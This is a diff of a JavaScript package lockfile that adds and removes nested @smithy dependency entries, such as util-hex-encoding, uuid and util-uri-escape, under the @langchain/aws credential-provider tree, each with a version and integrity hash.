"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9675,6 +9031,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -9685,12 +9043,16 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Z4DUr/AkgyFf1bOThW2HwzREagee0sB5ycl+hDiSZOfRLW8ZgrOjDi6g8mHH19yyU5E2A/64W3z6SMIf5XiUSQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
@@ -9705,14 +9067,14 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9723,16 +9085,26 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -9827,10 +9199,18 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -9857,8 +9237,48 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
